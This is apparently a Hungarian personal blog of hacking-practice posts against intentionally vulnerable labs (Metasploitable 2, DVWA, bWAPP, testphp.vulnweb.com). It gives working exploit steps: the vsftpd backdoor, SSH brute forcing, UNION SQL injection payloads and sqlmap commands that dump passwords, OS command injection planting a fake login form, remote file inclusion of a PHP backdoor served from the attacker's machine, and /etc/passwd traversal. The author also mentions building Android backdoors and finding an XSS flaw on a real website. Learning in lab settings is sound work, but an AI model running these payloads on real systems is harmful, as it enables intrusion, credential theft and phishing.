Napi hackelés

Napi hackelés

metasploitable 2, 23-as port - TELNET

2021. március 20. - c3llenger

Hát, ez elég könnyű feladat. kezdjünk is neki:

telnet 192.186.xxx.xxx 23

igazából usert és a passt, tudjuk, msfadmin

majd sudo -i   itt újra beirjuk hogy msfadmin és meg is van kellő jogosultságunk

 

openssh login bruteforce - metasploitable 2

Az ftp után jöjjön a 22-es port.

msfconsole

search ssh login

másoljuk ki a következő találatot és állítsuk be a use paranccsal
use auxiliary/scanner/ssh/ssh_login

nézzük meg miket kell beállítani
show options

a következőket kell megadni RHOSTS, ez lesz a metasplitable ip címe.
Ami még kötelező az bizony egy külső fájl amiből a brute forcehoz szedi be lehetőségeket, itt több lehetőség közül is választhatunk, már ami a list formáját illeti. Megadhatunk külön jelszó és felhasználóneveket tartalmazó fileokat. Megadhatunk olyat ahol egy sorban, szóközzel vannak elválasztva a bejelentkezési adatok, és megadhatjuk azt is hogy csak felhasználóneveket tartalmaz a lista, és az adott felhasználónév lesz a jelszó is. Lássuk be van erre sok példa :)

Én a USERPASS_FILE mellett döntöttem, azaz egy sorban szóközzel elválasztva csináltam egy listát. Nem kell hosszú lista, hiszen inkább az a lényeg hogy hogy működik msfconsole-ban az ssh bruteforce. Az enyém a következőképp néz ki:

admin admin
root root
user pass
msfadmin login
msfadmin msfadmin

bizony, az utolsó sor a megfejtés.

adjuk meg ennek a filenak az elérési útját

set USERPASS_FILE /home/.../elérési út

majd a kényelem és az időspórolás kedvéért még két kapcsolót állítsunk true-ra, VERBOSE, STOP_ON_SUCCESS.
Előbbi segítségével láthatjuk hogy miket próbált meg, utóbbi pedig az első sikeres párosnál megáll.

Ellenőrizzük is le :)

ssh msfadmin@192.186.xxx.xxx
yes
msfadmin

és bent is vagyunk :)

 

 

 

 

 

 

 

metasploitable 2, egy full sebezhető virtuális gép, 21-es port

Mostanában nagyon nem volt blog...  a téma nem állt meg, csak több olyan való életbeli problémát kellett megoldani ami miatt erre nem volt idő. Sajnos, nem sajnos de egy kicsit ki is kellett menni valós életbe a virtuális gépekről.

Itt volt egy kis erkölcsi dilemmám, de győzött a bal vállamon ülő angyal és még az is lehet hogy az illetékes oldal figyelmét felhívom a visszaélés lehetőségére.

Amúgy egy XSS befecskendezésről van szó, amit egy honlap kereső mezőjébe lehet beirni, és mivel az oldal a kérést GET metódussal küldi, így lehet olyan linket összerakni, ahol javascript segítségével lehet plusz tartalmakat hozzátenni az oldalhoz, anélkül hogy annak tartalma más számára is változna. Valószínű hogy ennek technikai megvalósításáról lesz blog is.

Amikor a legutolsó blogot írtam, az sql befecskendezések voltak terítéken, gyakorló pályák, challengek stb.

Utána valahogy belefutottam egy androidos backdoor témába, jó pár exploitot gyártottam, teszteltem. Nagyon jó téma.
Aztán rátaláltam a TERMUX-ra, ami nagyon jó megoldás bizonyos dolgokat tesztelni, megoldani ha nincs laptop, csak okos telefon.
Utána jött egy kis programozós feladat, bár önszorgalomból, de az általam eddig utált JAVA nyelven kellett egy szerver -kliens oldali kommunikációt megírni. Arra mindenképpen jó volt hogy megszeressem a JAVA-t. Minden eddigi ellenszenvem elszállt. :) nem csak a python és a php a világ közepe

Aztán egy chat alkalmazást írtam, ahol a másik oldalról közelítettem meg a dolgokat, és itt a cél nem a sérülékenységek megtalálása volt ,hanem épp ellenkezőleg. Azt elérni hogy ne legyen sérülékenység :) Rájöttem hogy érdemes a kettőt együtt tanulni és gyakorolni. Sokkal hatásosabb lesz. Itt érintettem egy kis apache2 szerver konfigolást, csináltam https tanusitványt, bele kellett menni a portforwrdolásba, szóval csináltam egy webszervert.

Ezután belekóstoltam kicsit a reverse engineering-be. Androidos applikációt kellett visszafordiítani és kiszedni belőle tartalmakat, belenézni a működésébe.

Ezt követte a fentebb említett XSS sérülékenység felfedezése és kihasználása.

Most viszont visszatérek kicsit a "hackelésbe"

A metasploitable 2 virtuális gépet akarom végig csinálni, és ezt a blogon végig követni.

Szedjük le, rakjuk be virtuális gépbe, fontos hogy a hálózat beállításoknál NAT-olást használjunk.

ha elindítjuk akkor msfadmin user-rel és msfadmin jelszóval megy is a gép.
toljunk egy ifconfigot, lássuk hogy mi az ip címünk, majd menjünk át Kaliba, open terminal, majd jöhet egy nmap

Portszkenneléssel megnézzük a futó szolgáltatásokat:

nmap -sV 192.168.xxx.xxx 

elég gyorsan lefut, majd kilistázza hogy nagyon sok nyitott portot talált :)

kezdjük az elején, a 21-es porttal.
21/tcp open ftp vsftpd 2.3.4

egy másik terminálban írjuk be:
msfconsole - kis időt hagyunk neki majd ha betölt, akkor keressünk rá a vsftpd-re az alábbi módon:

search vsftpd

ki hitte, volna van is találat :)
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

akkor ezt használjuk is:
use exploit/unix/ftp/vsftpd_234_backdoor

nézzük meg hogy milyen beállítások szükségesek neki:
show options

igazából csak az RHOSTS kell neki, úgyhogy:
set RHOSTS 192.168.xxx.xxx 

futtassuk:
exploit


pikk pakk lefut, és már tesztehetjük is:
ls
pwd
whoami    -root

azt hiszem ez elég könnyű volt,

 

A kihagyás oka - sql injection

Mostanában nem volt blog, de nem azért mert megszakadt. Az oka a folyamatos sikertelenség, illetve ilyen téren az adok kapok ami a challengekkel megy. De nagyon tanúlságos volt a hét, amit a  hétvégén mindenképp leírok mert sokat lehet tanulni szerintem belőle.

Úgyhogy hamarosan újabb blog, a téma pedig még mindig az sql injection.

Addig is ha egy kis challenge-re vágysz, jelenleg én is ezeken edződök:

https://www.wechall.net/

https://redtiger.labs.overthewire.org/

https://portswigger.net/web-security -itt az academy menüpont  rejt egy nagyon jó lehetőséget tanulásra, és tesztelni magad

Hamarosan jövök!

Egy kis sql injection challenge

A héten az időm és energiám nagy része az sqlmap-pal való mélyebb barátkozással telt. Természetesen ennek eredménye meg fog jelenni itt a blogon is. De ma kicsit megtörve a sok olvasást és kutakodást, mert már amúgy is azt éreztem hogy nem létezik olyan oldal amin van sql injection illetve sqlmap és én még nem láttam, hogy keresek egy kis éles kihívást. Teszteljük magunkat!

Nem kellett sokat keresgélnem és rábukkantam a következő oldalra:
https://redtiger.labs.overthewire.org/

A level1 jelentem sikeresen teljesítve!

redtigerlabs.pngEgyelőre nem néztem hogy mennyire vannak fent erről megoldások, mert nem szeretném megszegni a szabályokat, de gyanítom hogy egy kis segítséget fogok adni mégha a konkrét megoldást nem is.

Próbáljátok ki bátran, ingyenes, egyszerű

ch3llenger

SQL Injection 2 rész, POST, Login form, Sqlmap

A mai hack igen rövid lesz, de annál hasznosabb.
Egy login formon keresztül hajtjuk végre az előző posztban is leírt műveleteket, ami természetesen POST-ként küldi az adatokat.

Az oldal amit használunk:
http://192.168.100.5/bWAPP/sqli_3.php

Egy sima egyszerű login form, POST methoddal.

Mivel ezt az oldalt úgy érjük el ha bejelentkezünk a bWAPP-ba ezért az sqlmap-nak szüksége van a PHPSESSID-ra, illetve hogy a POST methoddal mit, hogyan küldünk. Én ez utóbbit BurpSuite-tal szedtem ki. Ha ezeket nem adjuk meg, sajnos hibát kapunk. Nem kell tőle félni, ha megmutatom egyből barátságosabb lesz.

Az előző cikket elolvasva elméletileg itt mindent kell érteni. Ugyanazt csináljuk, csak használunk két kapcsolót --cookie, --data.

Lássuk is a parancsot hogy ilyenkor hogyan néz ki:
sqlmap -u "http://192.168.100.5/bWAPP/sqli_3.php" --cookie="PHPSESSID=4027pqmtkf28u3f3dkc7lau415; security_level=0" --data="login=proba&password=proba&form=submit" --dbs
ezzel meg is szerezzük az adatbázisok neveit. Következő:

sqlmap -u "http://192.168.100.5/bWAPP/sqli_3.php" --cookie="PHPSESSID=4027pqmtkf28u3f3dkc7lau415; security_level=0" --data="login=proba&password=proba&form=submit" -D bwapp --tables
kiszedtük a táblák neveit a bwapp-ból. Jöhet a következő:

sqlmap -u "http://192.168.100.5/bWAPP/sqli_3.php" --cookie="PHPSESSID=4027pqmtkf28u3f3dkc7lau415; security_level=0" --data="login=proba&password=proba&form=submit" -D bwapp -T heroes --columns
megszereztük a heroes tábla oszlopait. Jöhet az utolsó lépés:

sqlmap -u "http://192.168.100.5/bWAPP/sqli_3.php" --cookie="PHPSESSID=4027pqmtkf28u3f3dkc7lau415; security_level=0" --data="login=proba&password=proba&form=submit" -D bwapp -T heroes -C login,password,secret --dump

ÉÉÉÉS ott vannak! :) Az sqlmap egy nagyon jó eszköz, és próbálok mélyebben elmélyedni a lehetőségeiben, amiket meg is osztok veletek!!

ch3llenger

SQL Injection, SQLMAP, JSQL Injection , alapok, alapok, kutakodjunk az adatbázisokban

Ez egy nagyon hosszú téma 1. része lesz, ami az eddigi bejegyzések közül talán a legnehezebb, és bár sok infó lesz, ez nagyon a jéghegy csúcsa csak. Megjegyzem én abszolut nem vagyok pro, lelkes amatőr szinten, de nagyon nagy akarattal fejlesztem magam, és ez a blog is egy összefoglaló, illetve egy módja az én saját tanulásomnak.
Amit talán mégis pluszban tud adni nektek az az, hogy kezdőként tudom mik a kérdések, mit nem értünk, de talán már sejtem hogy mi az ami továbblendíti az embert hogy tovább tudjon lépni.

SQL injection

Neten csomó leírás van róla... én emiatt maradnék most a megszokott tárgyilagos, gyakorlatias írásnál. Tessék utána olvasgatni hogy miért is működhet ez. Én is ezt tettem, de mindig ugyanazok a szinte sablonos példa lekérdezések, kódok jöttek velem szembe: egy login page-n hogy kell túljutni... hát az sql injection nem csak erről szól.

Kezdjük ott hogy van egy weboldal -> azon van valamilyen beviteli forma -> amögött van egy adatbázis -> -> mögötte van egy adatbázis név -> amögött vannak táblák -> a tábláknak vannak oszlopai -> és ezek mögött vannak azok az adatok amelyek minket érdekelnek.  Látni fogjátok hogy ez nagyon fontos részlet.

Első áldozat: owaspbwa dvwa
http://192.168.100.5/dvwa/vulnerabilities/sqli/

Amit itt látunk az egy sima input mező, ahol egy id-t kell megadni, amire ő kiad egy felhasználónevet és egy jelszót.

ez egy nagyon alap szint, tehát nagyon gyorsan tudjuk ellenőrizni hogy sebezhető-e:
írjunk az input mezőbe egy '  jelet -> You have an error in your SQL syntax; check the manual that corresponds ...

ilyen alap/kezdő szinten ez működik.

na most remélhetőleg van annyi fogalmunk hogy hogyan nézhet ki egy ilyen query, pl:
SELECT * FROM users WHERE id = '1'
SELECT id, user, password FROM users WHERE id = '1'

ha a users táblába nem csak 3 oszlop van, hanem 5 mert: id, name, password, email, kod oszlopokat tartalmaz, attól még a lekérdezés eredménye jöhet mind az 5 oszlopból, hiába kapunk mi ebből vissza csak 2-t vagy hármat. Úgyhogy az hogy mi mennyit kapunk vissza, az nem biztos hogy annyi mint amennyit lekérdeztünk. Remélem ez érhető. És ha nem tudjuk hogy hány érték lett lekérdezve,nem fogunk tudni union select segítségével lekérdezést generálni.  

SELECT * FROM users WHERE id = '1' ORDER BY 1

Ez egy rendezés ugyebár. Itt ha az order by utáni szám nagyobb mint ahány oszlopból kérdez le akkor hibát ír ki. Ebből mi tudhatjuk hogy később hogyan kell generálni a mi lekérdezésünket.

1' order by 1 -- '   
eddig jó... növeljük az egy értékét.
1' order by 3 -- '   hoppá,hoppá, ez kapjuk: Unknown column '3' in 'order clause'

tehát, az order by 2 még működik. Ha megnézzük akkor az id amit a lekérdezés után kapunk az nem az adatbázisból jön, hanem kiirja a mi keresésünket

UNION SELECT

a következő lekérdezésünk:
1' UNION select 1,2 -- '  az eredmény admin admin, 1 2 -> hibátlan
itt ugye nem kérdeztünk le semmit, hanem mi írtuk le hogy mit jelenítsen meg: 1 2

következő:
1' UNION select @@version, current_user() -- '  az eredmény:
First name: 5.1.41-3ubuntu12.6-log
Surname: dvwa@%

nagyon bíztató!!!

és akkor zongorázzuk végig azt amit a bejegyzése elején levezettem, hogy egy ilyen input mezőből hogyan jutunk el az adatokig.
1' UNION select 1, table_name FROM information_schema.tables -- ' - ezzel megkapjuk az összes táblanevet
1' UNION select 1, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- ': - ezzel megkapjuk azokat a táblaneveket, melyek tartalmazzák a user szót

láthatjuk hogy van olyan tábla hogy users, szóval mejünk tovább:

1' UNION select column_name, 1 FROM information_schema.columns WHERE table_name = 'users' -- ' -
ezzel megkaptuk a user tábla oszlopait

1' UNION select user, password FROM users -- ' - tádám... ott vannak a jelszavak és a felhasználónevek

a célunkat elértük, de mi van akkor ha az eredeti lekérdezés csak egy oszlopot kérdez le, de mi a UNION SELECT-tel egy másik táblából két vagy több oszlopnyi adatot szeretnénk lekérdezni, és nem külön külön egymás után akarjuk ezt?

Mutatom:
1' UNION select 1, concat(user, ':', password) FROM users -- ' jelen esetben az 1-et oda kell írni hiszen az eredeti lekérdezés két oszlopból kérdez le, és ha mi csak az összefűzzöttet szeretnénk akkor hibát kapunk (hiába szerepel benne két oszlopból lekérdezés, mi egybe rakjuk). Fogjátok fel úgy hogy az 1 megy a user oszlop alá, a concat(user, ':', password) meg a password alá. Remélem egyértelmű :)

Nézzünk megy másik oldalt:
http://192.168.100.5/bWAPP/sqli_1.php
ez is egy nagyon alap oldal. Mozifilmre kereshetünk rá a neve alapján, majd a találatot egy táblázatban jeleníti meg
A táblázat amiben a lekérdezésünk eredményét kapjuk 5 oszlopos, de ez egy nagyon jó példa arra hogy ha az előző módszerrel teszteljük hány oszlopból kérdez le, akkor az order by 7 még működik, de a 8 már nem, szóval 7 oszlopból kérdez el, és nekünk is eszerint kell használni az UNION SELECTET.

Most nem vezetem le annyira itt amit az előbb, de leírom, hogy hogyan tudunk eljutni az érzékeny adatokig

'
Error: You have an error in your SQL syntax;
' order by 7 -- ' 
működik
' order by 8 -- ' 
Error: Unknown column '8' in 'order clause', azaz nincs ennyi oszlop
' union select 1,2,3,4,5,6,7 -- ' 
tehát, a mi lekérdezésünknek is 7 oszlopnyinak kell lennie
' union select 1,2,@@version,current_user(),5,6,7 -- ' :
' union select 1,table_name,3,4,5,6,7 FROM information_schema.tables -- ' 
megkapjuk a táblák nevét
' union select 1,column_name,3,4,5,6,7 FROM information_schema.columns where table_name = 'users' -- '
megkapjuk a users tábla oszlopneveit
' union select 1,concat(login, ':', password),3,4,5,6,7 FROM users -- '
kiszedjük a login és password oszlopok értékeit összefűzve. Persze lehetne külön is:
' union select 1,login,password,4,5,6,7 FROM users -- '
itt két külön oszlopban kapjuk meg a password és a login értékeit.


Tehát összegezve, mit is csináltunk:
1. megnéztük hogy kapunk-e hibaüzenetet bizonyos jelekre;
2. ORDER BY segítségével kiderítettük hogy az eredeti lekérdezés hány oszlopból kérdez le
3. UNION SELECT segítségével elkezdjük kiszedni az infokat az adatbázisból
    a.) kiszedtük az adatbázis nevét;
    b.) megszereztük a benne lévő táblák neveit;
    c.) egy bizonyos tábla oszlopának a neveit szedjük ki;
    d.) ezeknek ismeretében kiszedjük az adatokat amikre szükségünk van;

SQLmap
SQLmap segítségével végig megyünk azokon a lépéseken, amiket fent mi magunk manuálisan oldottunk meg:
Ehhez egy netről is elérhető oldalt fogunk használni, ide nem kell semmi virtuális gép
http://testphp.vulnweb.com
innen katt az artist gombra
ha nézegetjük az oldalt akkor láthatjuk hogy az artistok megjelenítése mögött ez van:
http://testphp.vulnweb.com/artists.php?artist=1

nyissunk terminált:
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
pár "y" lenyomása után láthatjuk hogy milyen adatbazisok vannak


Nekünk most az acuart kell!
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables
megvannak a táblák. Nézzük meg hogy a users táblának milyen oszlopai vannak:

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns
ezek ismeretében szedjük ki a benne lévő adatokat:

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C phone --dump

ugyazazt jártuk végig mint fent csak most annyi volt a dolgunk h kiadjuk a megfelelő feladatot az sqlmap-nak a többit pedig rábíztuk


Van egy nagyon nagyon jó kis program: JSql Injection
Ajánlom :)

ha nincs meg: sudo apt-get -f install jsql  

miután leszdtük és elindítottuk nincs más dolgunk mint a keresőbe beírni a linket, pl http://testphp.vulnweb.com/artists.php?artist=1 és elinditani!!
Amit lehet ez kiszed, szépen grafikusan jeleníti meg hogy hogyan épül fel az adatbázis. Zseniális!

Ezek nagyon alapok, de én azt gondolom hogy azért ha ezeket tudjuk talán könnyebben túl tudunk jutni az elején.

Még egy dolog van hátra a mai tervezettből ez pedig az hogy az sqlmappot hogyan használjuk olyan oldalakon ahol van belépés. Mert ha pl bwapp-on a mozis keresőnél csináljuk sqlmappal a fentieket akkor hibát kapunk. Ezt most megnézzük :)

ehhez szükségünk van a phpsessionid-ra, majd a kódunk:
sqlmap -u "http://192.168.100.5/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=9njo6iuo80gsfsv7pa7a92g2c0;security_level=0" --dbs

itt még egy dolgot megjegyeznék:
ha a bWAPP/sqli_1.php oldalon valamit beirsz a keresőbe, akkor a címsorba ez szerepel majd:
http://192.168.100.5/bWAPP/sqli_1.php?title=valami&action=search
zavaró lehet hogy mit kezdj "?title=valami&action=search" résszel, amint fent is látható, ebből nekünk csak az kell hogy ?title=

természetesen ha megyünk tovább a fenti lépéseken, táblák, oszlopok, adatok, a --cookie= részt mindig meg kell adni!

(ha nem javacript segítségével akarod kiszedni ezeket akkor Firefox -> F12 -> Storage -> Cookies)

Elsőnek legyen elég ennyi, de én azt gondolom hogy az SQL injection hetente visszatérő téma lesz ;)
Remélem tudtam valami újat mondani, esetleg segíteni.

Olvasás, gyakorlás, olvasás, próbálkozás, olvasás...

ch3llenger

LFI és RFI Local File Inclusion, Remote File Inclusion

Ma megint mélyebben körüljárunk egy webes témát. LFI és RFI azaz local illetve remote file inclusion.

Láttál már oldan oldalt hogy http://sebezheto.hu/?page=index.php
és kalandozva a linkek közt egy másik oldal elérhetősége http://sebezheto.hu/?page=belepes.php, a többi oldal szintén hasonló.

Azért lehet látni ilyet. Mi van emögött?
Nagyon nagyon nagyon leegyszerűsítve (php esetében):

<?php
$file = $_GET['file'];

include('mappa/'.$file);

?>

Ezt meg lehet csinálni sokkal jobban, biztonságosabban. De mi van ha nincs? Megnézzük mit lehet ilyenkor csinálni.

A fenti kis kódrészletből látszik hogy annyi történik hogy a GET paraméterrel megkapott oldalt megkeresi a "mappában" és betölti.
Ha ez sebezhető akkor lehetőségünk van többek közt:
beleolvasni fájlokba;
távoldi kódot futtatni;
parancsokat futattni;
könyvtár bejárásra, stb

Platform: Kali Linux
Célpont owasp /dvwa
Itt találunk erre a célra oldalt is: http://192.168.100.5/dvwa/vulnerabilities/fi/?page=include.php

én ezt mondom hogy nézzük meg hogy ha egy másik oldalról rakok be kódot akkor mi történik (RFI)
Itt a blogon van egy olyan bejegyzés amiben bWAPP stored blogján a textareát kicseréltük egy login formra. A kódja ennek:

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form>


ezt OS Injection segítségével rakjuk fel kulsooldal.txt néven a bWAPP-ra
bWAPP/commandi.php =>
; echo '<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form>' > kulsooldal.txt

Ha ezt az oldalt megnyitjuk akkor a tartalmát látjuk, amit beleírtunk. Sehol semmi login form... nem is baj.

Most menjünk át a dvwa File Inclusion oldalára, amit ha megnyitunk akkor a böngészőben ezt látjuk:
dvwa/vulnerabilities/fi/?page=include.php

Az include.php helyére írjuk be a következőt:
http://192.168.100.5/bWAPP/kulsooldal.txt, azaz a teljes link amit kell nyitni:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.5/bWAPP/kulsooldal.txt

Azt látjuk hogy balfelül ott a kis login formunk, de alatta meg a dvwa oldala. Ami elég hülyén néz ki... Oldjuk meg, mert nagyon egyszerű :)

visszamegyünk bWAPP OS Injection oldalra és megint feltöltjük a kulsooldal.txt fájlt, de a végére odarajuk a html többsoros komment kezdetét <!-- Így miután lerenderelődik a login formunk, a maradék részét az oldalnak kommentnek veszi a böngésző és nem fogja megjeleníteni. Próbáljuk ki

; echo '<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form> <!--' > kulsooldal.txt

ezután nyissuk meg a dvwa File Inclusion oldalát ahogy az előbb:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.5/bWAPP/kulsooldal.txt

tökéletes!!! Betöltöttük a kulsooldal.txt tartalmát, viszont semmi mást, mindezt a dvwa/vulnerabilities/fi/?page= "alatt"

Kezdésnek nagyon jó, de nézzünk valami még izgalmasabbat ;)

Nyissatok egy terminalt majd gépeljétek be a következőt:
cd /usr/share/webshells/
ls (listázzuk a tartalmát, remélhetőleg van benne php)
cd php
ls
itt látunk ránézésre elég ütős fájlokat :)
indítsunk egy SimpleHTTPServert:
python -m SimpleHTTPServer 4444

átmegyünk a böngészőbe és a http://192.168.100.5/dvwa/vulnerabilities/fi/?page= után beírjuk a következőt:
http://192.168.100.4:4444/, azaz a teljes link
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/
láthatjuk a php mappánk tartalmát, király :)

egészítsük ki a linkünket:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php
kapunk egy ilyet:
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

A kis linkünket ezután írjuk át:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php&cmd=ls

az eredmény pedig:
help
include.php
index.php
source

a linkünk most legyen:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php&cmd=ls ../../

az eredmény:
CHANGELOG.md
COPYING.txt
README.md
about.php
config
docs
dvwa
external
favicon.ico
hackable
ids_log.php
index.php
instructions.php
login.php
logout.php
php.ini
phpinfo.php
robots.txt
security.php
setup.php
vulnerabilities

és innentől a fantáziátokra bízom:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=http://192.168.100.4:4444/simple-backdoor.php&cmd=cat ../../robots.txt
azért nem rossz tudni hogy egy php oldal hogy is műdödik, mi a "kódja" ;)

LFI

Szerencsére itt dvwa-n van olyan hogy Upload.
csináljunk egy form.txt-t a gépünkön, melynek tartalma az előzőleg is használt login form, a végén a komment szekció kezdéssel

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form><!--

menjünk a Upload oldalra (dvwa/vulnerabilities/upload/) és töltsük fel, ezt kapjuk ha kész:
../../hackable/uploads/form.txt succesfully uploaded!

akkor menjünk vissza a File Includion oldalra és írjuk át a linket:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/form.txt
az eredmény ugyanaz mint legutóbb, csak a mi formunk jelenik meg

ez elég egyszerű volt, most nézzünk valami cselesebbet:

csinaljunk egy filet, probagif.txt névvel:

<?php
echo 'mukodik';
$szam = 5;
$szam2 = 2;
$osszeg = $szam + $szam2;
echo $osszeg;
?>

a mappában ahol létrehoztuk ezt a fájlt nyissunk terminált majd írjuk be:
cp probagif.txt probagif.gif

ezután átmegyünk az Upload oldalra és feltöltjük a GIF-et, de akár a txt-t is.

Visszamegyünk a File Inclusion-ra és beírjuk a http://192.168.100.5/dvwa/vulnerabilities/fi/?page=.után hogy,
../../hackable/uploads/probagif.gif

és bizony balfent látjuk hogy mukodik7

ha az előző linkben a probagif.txt-t irunk be (természetesen ha feltöltöttük azt is) akkor ugyanazt a "dekorativ" eredményt kapjuk mint az előbb mukodik7  :)

És még mindig nincs vége, de ezt már nagyon egyszerűen:

nézzük meg mit dob ki a következőre:
http://192.168.100.5/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh....  ..... ....  mert még van bőven

Bízom benne hogy van akinek ez hasznos lehet. Hajrááá!!!

ch3llenger






 

 

titkos oldalak, titkos fájlok... köszi Python

Ha az ember keres általában talál :) Amikor böngészünk egy weboldalt ki tudja hány olyan oldal lehet
elérhető amiről a készítők azt gondolják hogy nem fogjuk megtalálni.
Erre vannak jó programok mint pl a DirBuster, de mi most írunk egyet. Ez szintén kis gondolat ébresztő lesz, hiszen ha ez megy
akkor sokkal összetettebb keresőket is tudunk írni - amik mondjuk a megtalált oldalak tartalmában is tudnak keresni... esetleg sérülékenységet

Lássuk a kódot:
import requests

url = "http://.... az oldal cime....."

oldal = ['index', 'login', 'admin', 'administrator', 'kezdolap', 'start', 'shop', 'demo']
kiterjesztes = ['html', 'php', 'htm']

for i in oldal:
    for j in kiterjesztes:
        test_url = url + "/" + i + "." + j
        request = requests.get(test_url)
        if request.status_code == 200:
                print(test_url + " + letezik")

az oldal[] -t most én adta meg, mert kipróbálásra egyszerűbb ha így csináljuk de neten számtalan előre legenerált oldal, könytár, fájlnév
lista van txt-ben amiből hatékonyabb kiolvasni a dolgokat. A kiterjesztést szabadon lehet bővíteni, szűkiteni, lekorlátozni.

Nagyon egyszerű, nagyon alap, de működik és nyugodtan túl lehet gondolni!

süti beállítások módosítása